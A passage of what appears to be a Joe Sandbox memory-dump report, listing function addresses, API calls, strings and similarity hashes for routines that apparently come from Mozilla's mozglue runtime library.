Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C69E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E04F

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C69E057

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction ID: 6776e6135ab9b708d99987a322afce9bb1f9f19acc909b9fde3328e2bb01d191
Opcode Fuzzy Hash: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction Fuzzy Hash: E721B074A0010A9FDF009F65D898AAEB7B5BF8A308F140429E90A97740DB31A919C7E9

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770,-00000001,?,6C6CE330,?,6C67BDF7), ref: 6C6BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C67BDF7), ref: 6C6BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C67BDF7), ref: 6C6BA7E4
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA80A

Strings

accelerator.dll, xrefs: 6C6BA7BF

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction ID: 84db9bc2db7f189236c13609ddf8cf80400de71c38a9021371926e3afc495937
Opcode Fuzzy Hash: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction Fuzzy Hash: 8F01ADB07143049FDF04DF5AE8C4C9177B8FB8A355B05806AE90A8B712DB70A810CFAA

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

ntdll.dll, xrefs: 6C6B75B3
RtlNtStatusToDosError, xrefs: 6C6B75D1

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

ntdll.dll, xrefs: 6C6B7603
NtUnmapViewOfSection, xrefs: 6C6B7621

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C6A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A289A
free.MOZGLUE(?,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A2910
free.MOZGLUE(00000001,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A294E

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction ID: 9897f2b458e45feeacbcb1e058197503f2c5ef340fe41d67c23a8ddd3040f7f3
Opcode Fuzzy Hash: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction Fuzzy Hash: 3D41B4B1A402068FEB14CFAAD88476A73F5EF45708F140939D95BEB740E731E906CB99

Function 6C65CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C65D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C65D139

Strings

MOZ_CRASH(), xrefs: 6C65D187

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction ID: 3543fbe50f1b8389a23461486b7e12babdc2657575e16f4df976855d1fc8f750
Opcode Fuzzy Hash: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction Fuzzy Hash: 6441CC32B412164FDB548E7E8DD07AAB6B0EB49714F650239EA18E77C4D7A1A800CBDD

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C6BA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA87B

Part of subcall function 6C6BA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C6BA88F,00000000), ref: 6C6BA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C6BA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA90C
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA97E

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction ID: bb51f4b2f4feef7e7fc4b44630dd317ed3b6147944fb21cdc06fafba0641b0b7
Opcode Fuzzy Hash: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction Fuzzy Hash: 8E41D4B0E002089FDB00DFA4D885BDEB770FF09324F148629E826AB791D771E955CB99

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C65B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C65B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65B849

Memory Dump Source

